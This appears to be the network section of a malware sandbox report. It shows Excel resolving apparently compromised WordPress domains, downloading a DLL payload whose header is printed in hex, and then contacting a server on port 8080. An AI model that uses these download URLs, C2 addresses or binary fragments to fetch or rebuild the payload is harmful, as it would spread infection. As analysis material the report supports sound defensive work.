May 23, 2022 08:35:07.146837950 CEST	80	49178	193.143.77.34	192.168.2.22
May 23, 2022 08:35:07.146902084 CEST	49178	80	192.168.2.22	193.143.77.34
May 23, 2022 08:35:07.146944046 CEST	80	49178	193.143.77.34	192.168.2.22
May 23, 2022 08:35:07.147006035 CEST	49178	80	192.168.2.22	193.143.77.34
May 23, 2022 08:35:07.963172913 CEST	80	49177	193.143.77.34	192.168.2.22
May 23, 2022 08:35:07.963320971 CEST	49177	80	192.168.2.22	193.143.77.34
May 23, 2022 08:35:25.115195990 CEST	49179	8080	192.168.2.22	173.82.82.196
May 23, 2022 08:35:25.288558960 CEST	8080	49179	173.82.82.196	192.168.2.22
May 23, 2022 08:35:25.288759947 CEST	49179	8080	192.168.2.22	173.82.82.196
May 23, 2022 08:35:25.377157927 CEST	49179	8080	192.168.2.22	173.82.82.196
May 23, 2022 08:35:25.550851107 CEST	8080	49179	173.82.82.196	192.168.2.22
May 23, 2022 08:35:25.568670988 CEST	8080	49179	173.82.82.196	192.168.2.22
May 23, 2022 08:35:25.568707943 CEST	8080	49179	173.82.82.196	192.168.2.22
May 23, 2022 08:35:25.568747044 CEST	49179	8080	192.168.2.22	173.82.82.196
May 23, 2022 08:35:25.568778038 CEST	49179	8080	192.168.2.22	173.82.82.196
May 23, 2022 08:35:25.577109098 CEST	49179	8080	192.168.2.22	173.82.82.196
May 23, 2022 08:35:25.750900030 CEST	8080	49179	173.82.82.196	192.168.2.22
May 23, 2022 08:35:25.761835098 CEST	8080	49179	173.82.82.196	192.168.2.22
May 23, 2022 08:35:25.765253067 CEST	49179	8080	192.168.2.22	173.82.82.196
May 23, 2022 08:35:28.630650997 CEST	49181	8080	192.168.2.22	173.82.82.196
May 23, 2022 08:35:28.806726933 CEST	8080	49181	173.82.82.196	192.168.2.22
May 23, 2022 08:35:28.807483912 CEST	49181	8080	192.168.2.22	173.82.82.196
May 23, 2022 08:35:28.898829937 CEST	49181	8080	192.168.2.22	173.82.82.196
May 23, 2022 08:35:28.920202017 CEST	49182	8080	192.168.2.22	173.82.82.196
May 23, 2022 08:35:29.056583881 CEST	49179	8080	192.168.2.22	173.82.82.196
May 23, 2022 08:35:29.072526932 CEST	8080	49181	173.82.82.196	192.168.2.22
May 23, 2022 08:35:29.087687016 CEST	8080	49181	173.82.82.196	192.168.2.22
May 23, 2022 08:35:29.087708950 CEST	8080	49181	173.82.82.196	192.168.2.22
May 23, 2022 08:35:29.087817907 CEST	49181	8080	192.168.2.22	173.82.82.196
May 23, 2022 08:35:29.095516920 CEST	8080	49182	173.82.82.196	192.168.2.22
May 23, 2022 08:35:29.095618010 CEST	49182	8080	192.168.2.22	173.82.82.196
May 23, 2022 08:35:29.099281073 CEST	49181	8080	192.168.2.22	173.82.82.196
May 23, 2022 08:35:29.174777031 CEST	49182	8080	192.168.2.22	173.82.82.196
May 23, 2022 08:35:29.230361938 CEST	8080	49179	173.82.82.196	192.168.2.22
May 23, 2022 08:35:29.273575068 CEST	8080	49181	173.82.82.196	192.168.2.22
May 23, 2022 08:35:29.277178049 CEST	8080	49181	173.82.82.196	192.168.2.22
May 23, 2022 08:35:29.277256012 CEST	49181	8080	192.168.2.22	173.82.82.196
May 23, 2022 08:35:29.349951982 CEST	8080	49182	173.82.82.196	192.168.2.22
May 23, 2022 08:35:29.366401911 CEST	8080	49182	173.82.82.196	192.168.2.22
May 23, 2022 08:35:29.366430998 CEST	8080	49182	173.82.82.196	192.168.2.22
May 23, 2022 08:35:29.366539955 CEST	49182	8080	192.168.2.22	173.82.82.196
May 23, 2022 08:35:29.376513958 CEST	49182	8080	192.168.2.22	173.82.82.196
May 23, 2022 08:35:29.551987886 CEST	8080	49182	173.82.82.196	192.168.2.22
May 23, 2022 08:35:29.555772066 CEST	8080	49182	173.82.82.196	192.168.2.22
May 23, 2022 08:35:29.555866957 CEST	49182	8080	192.168.2.22	173.82.82.196
May 23, 2022 08:35:29.902724028 CEST	8080	49179	173.82.82.196	192.168.2.22
May 23, 2022 08:35:29.903845072 CEST	49179	8080	192.168.2.22	173.82.82.196
May 23, 2022 08:35:30.002789021 CEST	49181	8080	192.168.2.22	173.82.82.196
May 23, 2022 08:35:30.176261902 CEST	8080	49181	173.82.82.196	192.168.2.22
May 23, 2022 08:35:30.597209930 CEST	49182	8080	192.168.2.22	173.82.82.196
May 23, 2022 08:35:30.771990061 CEST	8080	49182	173.82.82.196	192.168.2.22
May 23, 2022 08:35:30.856652021 CEST	8080	49181	173.82.82.196	192.168.2.22
May 23, 2022 08:35:30.856759071 CEST	49181	8080	192.168.2.22	173.82.82.196
May 23, 2022 08:35:31.471823931 CEST	8080	49182	173.82.82.196	192.168.2.22
May 23, 2022 08:35:31.472343922 CEST	49182	8080	192.168.2.22	173.82.82.196
May 23, 2022 08:35:32.902920961 CEST	8080	49179	173.82.82.196	192.168.2.22
May 23, 2022 08:35:32.902988911 CEST	8080	49179	173.82.82.196	192.168.2.22
May 23, 2022 08:35:32.903062105 CEST	49179	8080	192.168.2.22	173.82.82.196
May 23, 2022 08:35:32.903101921 CEST	49179	8080	192.168.2.22	173.82.82.196
May 23, 2022 08:35:33.856266022 CEST	8080	49181	173.82.82.196	192.168.2.22
May 23, 2022 08:35:33.856306076 CEST	8080	49181	173.82.82.196	192.168.2.22
May 23, 2022 08:35:33.856416941 CEST	49181	8080	192.168.2.22	173.82.82.196
May 23, 2022 08:35:34.471364021 CEST	8080	49182	173.82.82.196	192.168.2.22
May 23, 2022 08:35:34.471390963 CEST	8080	49182	173.82.82.196	192.168.2.22
May 23, 2022 08:35:34.471546888 CEST	49182	8080	192.168.2.22	173.82.82.196
May 23, 2022 08:36:51.649152040 CEST	49177	80	192.168.2.22	193.143.77.34
May 23, 2022 08:36:51.649364948 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:36:51.649568081 CEST	49173	80	192.168.2.22	188.114.97.10
May 23, 2022 08:36:51.666507006 CEST	80	49173	188.114.97.10	192.168.2.22
May 23, 2022 08:36:51.666599989 CEST	49173	80	192.168.2.22	188.114.97.10
May 23, 2022 08:36:51.944590092 CEST	49177	80	192.168.2.22	193.143.77.34
May 23, 2022 08:36:52.053869963 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:36:52.553179026 CEST	49177	80	192.168.2.22	193.143.77.34
May 23, 2022 08:36:52.865226030 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:36:53.832389116 CEST	49177	80	192.168.2.22	193.143.77.34
May 23, 2022 08:36:54.472131014 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:36:56.250649929 CEST	49177	80	192.168.2.22	193.143.77.34
May 23, 2022 08:36:57.748322964 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:37:01.055830956 CEST	49177	80	192.168.2.22	193.143.77.34
May 23, 2022 08:37:04.176211119 CEST	49175	80	192.168.2.22	160.153.40.1
May 23, 2022 08:37:10.666273117 CEST	49177	80	192.168.2.22	193.143.77.34
May 23, 2022 08:37:15.274595022 CEST	49179	8080	192.168.2.22	173.82.82.196
May 23, 2022 08:37:15.274641037 CEST	49179	8080	192.168.2.22	173.82.82.196
May 23, 2022 08:37:17.047224998 CEST	49175	80	192.168.2.22	160.153.40.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 23, 2022 08:34:51.792490959 CEST	55868	53	192.168.2.22	8.8.8.8
May 23, 2022 08:34:51.812971115 CEST	53	55868	8.8.8.8	192.168.2.22
May 23, 2022 08:34:55.703608990 CEST	49688	53	192.168.2.22	8.8.8.8
May 23, 2022 08:34:55.724946022 CEST	53	49688	8.8.8.8	192.168.2.22
May 23, 2022 08:34:59.931207895 CEST	58836	53	192.168.2.22	8.8.8.8
May 23, 2022 08:34:59.950536013 CEST	53	58836	8.8.8.8	192.168.2.22
May 23, 2022 08:35:03.752105951 CEST	50134	53	192.168.2.22	8.8.8.8
May 23, 2022 08:35:03.769732952 CEST	53	50134	8.8.8.8	192.168.2.22
May 23, 2022 08:35:05.974170923 CEST	55275	53	192.168.2.22	8.8.8.8
May 23, 2022 08:35:06.022006035 CEST	53	55275	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
May 23, 2022 08:34:51.792490959 CEST	192.168.2.22	8.8.8.8	0x1f72	Standard query (0)	vipteck.com	A (IP address)	IN (0x0001)
May 23, 2022 08:34:55.703608990 CEST	192.168.2.22	8.8.8.8	0x718e	Standard query (0)	salledemode.com	A (IP address)	IN (0x0001)
May 23, 2022 08:34:59.931207895 CEST	192.168.2.22	8.8.8.8	0x8c4	Standard query (0)	airliftlimo.com	A (IP address)	IN (0x0001)
May 23, 2022 08:35:03.752105951 CEST	192.168.2.22	8.8.8.8	0xa104	Standard query (0)	kabeonet.pl	A (IP address)	IN (0x0001)
May 23, 2022 08:35:05.974170923 CEST	192.168.2.22	8.8.8.8	0x9d03	Standard query (0)	www.kabeonet.pl	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
May 23, 2022 08:34:51.812971115 CEST	8.8.8.8	192.168.2.22	0x1f72	No error (0)	vipteck.com		188.114.97.10	A (IP address)	IN (0x0001)
May 23, 2022 08:34:51.812971115 CEST	8.8.8.8	192.168.2.22	0x1f72	No error (0)	vipteck.com		188.114.96.10	A (IP address)	IN (0x0001)
May 23, 2022 08:34:55.724946022 CEST	8.8.8.8	192.168.2.22	0x718e	No error (0)	salledemode.com		160.153.40.1	A (IP address)	IN (0x0001)
May 23, 2022 08:34:59.950536013 CEST	8.8.8.8	192.168.2.22	0x8c4	No error (0)	airliftlimo.com		159.203.19.2	A (IP address)	IN (0x0001)
May 23, 2022 08:35:03.769732952 CEST	8.8.8.8	192.168.2.22	0xa104	No error (0)	kabeonet.pl		193.143.77.34	A (IP address)	IN (0x0001)
May 23, 2022 08:35:06.022006035 CEST	8.8.8.8	192.168.2.22	0x9d03	No error (0)	www.kabeonet.pl	kabeonet.pl		CNAME (Canonical name)	IN (0x0001)
May 23, 2022 08:35:06.022006035 CEST	8.8.8.8	192.168.2.22	0x9d03	No error (0)	kabeonet.pl		193.143.77.34	A (IP address)	IN (0x0001)
May 23, 2022 08:35:26.618551016 CEST	8.8.8.8	192.168.2.22	0xc77e	No error (0)	windowsupdatebg.s.llnwi.net		178.79.242.0	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

vipteck.com

airliftlimo.com

salledemode.com

kabeonet.pl

www.kabeonet.pl

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49174	188.114.97.10	443	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.22	49176	159.203.19.2	443	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.22	49173	188.114.97.10	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
May 23, 2022 08:34:51.849772930 CEST	2	OUT	GET /wp-admin/user/B8d6jr4pBND2HExAmI/lJWa95VlQ/ HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: vipteck.com Connection: Keep-Alive
May 23, 2022 08:34:51.880934954 CEST	3	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 23 May 2022 06:34:51 GMT Transfer-Encoding: chunked Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 23 May 2022 07:34:51 GMT Location: https://vipteck.com/wp-admin/user/B8d6jr4pBND2HExAmI/lJWa95VlQ/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=nl892dnyKOFzSxOmMrYP2rKakrwvBi8ZQT9cpNW6JG6sjmZFL7rH47bxIziI5Ya5jOZhd%2Fi7U5Fhc95rL3vNYqCX0CTZrwZ5eFn6arMhJpgrHE50at5rpuphATZ%2BHQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 70fbc4aa1cee91d1-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.22	49175	160.153.40.1	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
May 23, 2022 08:34:55.892431021 CEST	392	OUT	GET /tgroup.ge/x4bc2kL4BzGAeUsVi/ HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: salledemode.com Connection: Keep-Alive
May 23, 2022 08:34:56.077950954 CEST	394	IN	HTTP/1.1 200 OK Date: Mon, 23 May 2022 06:34:55 GMT Server: Apache X-Powered-By: PHP/7.2.34 Cache-Control: no-cache, must-revalidate Pragma: no-cache Expires: Mon, 23 May 2022 06:34:55 GMT Content-Disposition: attachment; filename="me435CErJsFGw1q.dll" Content-Transfer-Encoding: binary Set-Cookie: 628b2b0ff1266=1653287695; expires=Mon, 23-May-2022 06:35:55 GMT; Max-Age=60; path=/ Upgrade: h2,h2c Connection: Upgrade, Keep-Alive Last-Modified: Mon, 23 May 2022 06:34:55 GMT Content-Length: 365056 Vary: Accept-Encoding Strict-Transport-Security: max-age=300 Keep-Alive: timeout=5 Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 99 b3 07 38 dd d2 69 6b dd d2 69 6b dd d2 69 6b b2 a4 c3 6b 83 d2 69 6b b2 a4 f7 6b d7 d2 69 6b d4 aa fa 6b da d2 69 6b dd d2 68 6b 84 d2 69 6b b2 a4 c2 6b f6 d2 69 6b b2 a4 f2 6b dc d2 69 6b b2 a4 f3 6b dc d2 69 6b b2 a4 f4 6b dc d2 69 6b 52 69 63 68 dd d2 69 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 76 7b 87 62 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 0a 00 00 04 02 00 00 8a 03 00 00 00 00 00 80 35 00 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 f0 05 00 00 04 00 00 f5 54 06 00 02 00 40 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 d0 aa 02 00 84 00 00 00 04 a2 02 00 50 00 00 00 00 00 03 00 fc d1 02 00 00 f0 02 00 cc 0f 00 00 00 00 00 00 00 00 00 00 00 e0 05 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 02 00 98 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 fa 03 02 00 00 10 00 00 00 04 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 54 8b 00 00 00 20 02 00 00 8c 00 00 00 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 37 00 00 00 b0 02 00 00 14 00 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 cc 0f 00 00 00 f0 02 00 00 10 00 00 00 a8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 fc d1 02 00 00 00 03 00 00 d2 02 00 00 b8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8ikikikkikkikkikhkikkikkikkikkikRichikPEdv{b" 5T@P .text `.rdataT @@.data7@.pdata@@.rsrc@@.
May 23, 2022 08:34:56.077990055 CEST	395	IN	Data Raw: 72 65 6c 6f 63 00 00 f2 06 00 00 00 e0 05 00 00 08 00 00 00 8a 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: reloc@B
May 23, 2022 08:34:56.078013897 CEST	396	IN	Data Raw: 45 b0 f0 2d 7c 7e c7 45 b4 ec 2a 26 1a c7 45 b8 48 44 66 9d c7 45 bc 14 7c 50 76 c7 45 c0 2f 35 b6 2f c7 45 c4 72 6b 45 40 c7 45 c8 67 bf 2f 7b c7 45 cc 6d 62 50 76 c7 45 d0 98 20 2b 59 c7 45 d4 3c 09 64 ac c7 45 d8 e2 4d 20 7a c7 45 dc 24 06 55 Data Ascii: E-\|~E&EHDfE\|PvE/5/ErkE@Eg/{EmbPvE +YE<dEM zE$UENbE0kj.ExiyE:!@E=MEBXE6E;#tEIE<1E#\VE"uEAwEYPE"wEV!E .aE$"a/E(:S9E,TE0<E4mE8_
May 23, 2022 08:34:56.078099012 CEST	398	IN	Data Raw: 00 0e 75 4c f2 c7 85 08 02 00 00 33 e3 40 03 c7 85 0c 02 00 00 09 03 3e 82 c7 85 10 02 00 00 37 c3 2f 6a c7 85 14 02 00 00 a4 07 46 6c c7 85 18 02 00 00 3a 30 04 53 c7 85 1c 02 00 00 f2 78 41 38 c7 85 20 02 00 00 39 02 16 4e c7 85 24 02 00 00 bd Data Ascii: uL3@>7/jFl:0SxA8 9N$`qY(Ye,N0:y4b%8<>N@o;ED(7Hp PL5P6CT& X2{\ePO`/CdT
May 23, 2022 08:34:56.078142881 CEST	399	IN	Data Raw: 04 00 00 24 45 23 bf c7 85 20 04 00 00 a9 50 d2 78 c7 85 24 04 00 00 21 b9 a5 10 c7 85 28 04 00 00 43 2f e6 e0 c7 85 2c 04 00 00 5e 60 de e9 c7 85 30 04 00 00 23 28 a7 8b c7 85 34 04 00 00 1f 35 ee b8 c7 85 38 04 00 00 2b 4f b7 5c c7 85 3c 04 00 Data Ascii: $E# Px$!(C/,^`0#(458+O\<pu@&\hRD_lHbL+qP>TjfXX\Cb`42dq?h4%llpsoKt#xi\|
May 23, 2022 08:34:56.078171015 CEST	400	IN	Data Raw: 85 34 06 00 00 7b 24 55 7c c7 85 38 06 00 00 e0 fc 2d 85 c7 85 3c 06 00 00 95 45 1e 27 c7 85 40 06 00 00 d5 80 7d 42 c7 85 44 06 00 00 21 77 55 92 c7 85 48 06 00 00 65 d4 b4 28 c7 85 4c 06 00 00 73 9a 42 99 c7 85 50 06 00 00 d7 2b 4b 2a c7 85 54 Data Ascii: 4{$U\|8-<E'@}BD!wUHe(LsBP+K*T.lX5\`Tg9doEhulCepd$t"aVx#d\|?N3]='O5[(;.,
May 23, 2022 08:34:56.078197956 CEST	402	IN	Data Raw: 95 c7 85 4c 08 00 00 31 76 66 08 c7 85 50 08 00 00 a9 28 45 21 c7 85 54 08 00 00 5b a0 6e e2 c7 85 58 08 00 00 46 4c 49 6e c7 85 5c 08 00 00 5f 24 bd 63 c7 85 60 08 00 00 b1 d1 43 35 c7 85 64 08 00 00 71 e1 68 d3 c7 85 68 08 00 00 94 b3 8d 66 c7 Data Ascii: L1vfP(E!T[nXFLIn\_$c`C5dqhhflApxt#$xGz\|Q[nsmKa?<J(+y@p3zm
May 23, 2022 08:34:56.078226089 CEST	403	IN	Data Raw: 6b 90 62 c7 85 64 0a 00 00 eb 25 55 63 c7 85 68 0a 00 00 8b 75 0b ca c7 85 6c 0a 00 00 b2 2b a7 93 c7 85 70 0a 00 00 48 36 64 a0 c7 85 74 0a 00 00 ea 18 bc 62 c7 85 78 0a 00 00 41 9b 1e e8 c7 85 7c 0a 00 00 33 26 07 a3 c7 85 80 0a 00 00 10 66 98 Data Ascii: kbd%Uchul+pH6dtbxA\|3&fH!`AnMK3*l?xuOKx(7&).Rtp9:\|e:NKf
May 23, 2022 08:34:56.078432083 CEST	405	IN	Data Raw: 89 51 f0 48 89 51 f8 75 d8 eb 94 66 0f 1f 44 00 00 48 0f c3 11 48 0f c3 51 08 48 0f c3 51 10 48 83 c1 40 48 0f c3 51 d8 48 0f c3 51 e0 49 ff c9 48 0f c3 51 e8 48 0f c3 51 f0 48 0f c3 51 f8 75 d0 f0 80 0c 24 00 e9 54 ff ff ff cc cc cc cc cc cc 4c Data Ascii: QHQufDHHQHQH@HQHQIHQHQHQu$TLD$T$HL$HH\|$XTu3^uT3SkHwRH;B}T3\!L\|I\|3;tH
May 23, 2022 08:34:56.078459024 CEST	406	IN	Data Raw: 00 00 48 8b 84 24 c8 00 00 00 48 8b 40 08 48 89 44 24 78 48 8b 84 24 c8 00 00 00 48 8b 4c 24 78 48 8b 00 48 2b c1 48 89 44 24 68 48 8b 84 24 c8 00 00 00 48 8b 40 38 48 89 84 24 88 00 00 00 48 8b 84 24 b0 00 00 00 8b 40 04 83 e0 66 85 c0 0f 85 04 Data Ascii: H$H@HD$xH$HL$xHH+HD$hH$H@8H$H$@fH$HD$8H$HD$@H$@HD$0D$0D$0H$9D$0D$0HkH$DH9D$hD$0HkH$DH9D$hsD$0HkH$\|
May 23, 2022 08:34:56.234586000 CEST	408	IN	Data Raw: d2 48 8b 4c 24 30 e8 62 00 00 00 ff 15 74 e2 01 00 48 8b 4c 24 30 89 01 48 8b 44 24 30 48 c7 40 08 ff ff ff ff b8 01 00 00 00 48 83 c4 48 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 48 83 ec 28 83 3d 25 72 02 00 ff 74 16 8b 0d 1d 72 02 00 ff 15 Data Ascii: HL$0btHL$0HD$0H@HHH(=%rtrrRH(HT$HL$H(HD$0HHHD$0@HD$0@HD$0HD$0tCHD$0CHD$0HxHSTHD$0H

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.22	49177	193.143.77.34	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
May 23, 2022 08:35:03.818012953 CEST	1169	OUT	GET /wp-admin/VWlAz5vWJNHDb/ HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: kabeonet.pl Connection: Keep-Alive
May 23, 2022 08:35:05.960398912 CEST	1169	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 23 May 2022 06:35:03 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Upgrade: h2,h2c Connection: Upgrade, Keep-Alive Location: http://www.kabeonet.pl/wp-admin/VWlAz5vWJNHDb/ Content-Length: 0 Keep-Alive: timeout=2, max=100 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.22	49178	193.143.77.34	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
May 23, 2022 08:35:06.065642118 CEST	1170	OUT	GET /wp-admin/VWlAz5vWJNHDb/ HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: www.kabeonet.pl Connection: Keep-Alive
May 23, 2022 08:35:07.104851961 CEST	1172	IN	HTTP/1.1 404 Not Found Date: Mon, 23 May 2022 06:35:06 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.kabeonet.pl/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, Keep-Alive Keep-Alive: timeout=2, max=100 Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 31 31 66 30 30 0d 0a 09 09 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 6c 2d 50 4c 22 3e 0d 0a 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 6c 2d 50 4c 22 3e 0d 0a 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 37 29 20 26 20 21 28 49 45 20 38 29 5d 3e 3c 21 2d 2d 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 6c 2d 50 4c 22 3e 0d 0a 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 0d 0a 09 09 0d 0a 09 09 09 4e 69 65 20 7a 6e 61 6c 65 7a 69 6f 6e 6f 20 73 74 72 6f 6e 79 50 72 6f 6a 65 6b 74 6f 77 61 6e 69 65 20 73 74 72 6f 6e 20 69 6e 74 65 72 6e 65 74 6f 77 79 63 68 20 4f 70 6f 6c 65 09 09 0d 0a 09 09 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 31 30 30 2c 33 30 30 26 73 75 62 73 65 74 3d 6c 61 74 69 6e 2c 6c 61 74 69 6e 2d 65 78 74 27 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 09 09 0d 0a 20 20 20 20 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 0a 09 3c 21 2d 2d 20 54 68 69 73 20 73 69 74 65 20 69 73 20 6f 70 74 69 6d 69 7a 65 64 20 77 69 74 68 20 74 68 65 20 59 6f 61 73 74 20 53 45 4f 20 70 6c 75 67 69 6e 20 76 31 38 2e 39 20 2d 20 68 74 74 70 73 3a 2f 2f 79 6f 61 73 74 2e 63 6f 6d 2f 77 6f 72 64 70 72 65 73 73 2f 70 6c 75 67 69 6e 73 2f 73 65 6f 2f 20 2d 2d 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 6c 6f 63 61 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 70 6c 5f 50 4c 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 53 74 72 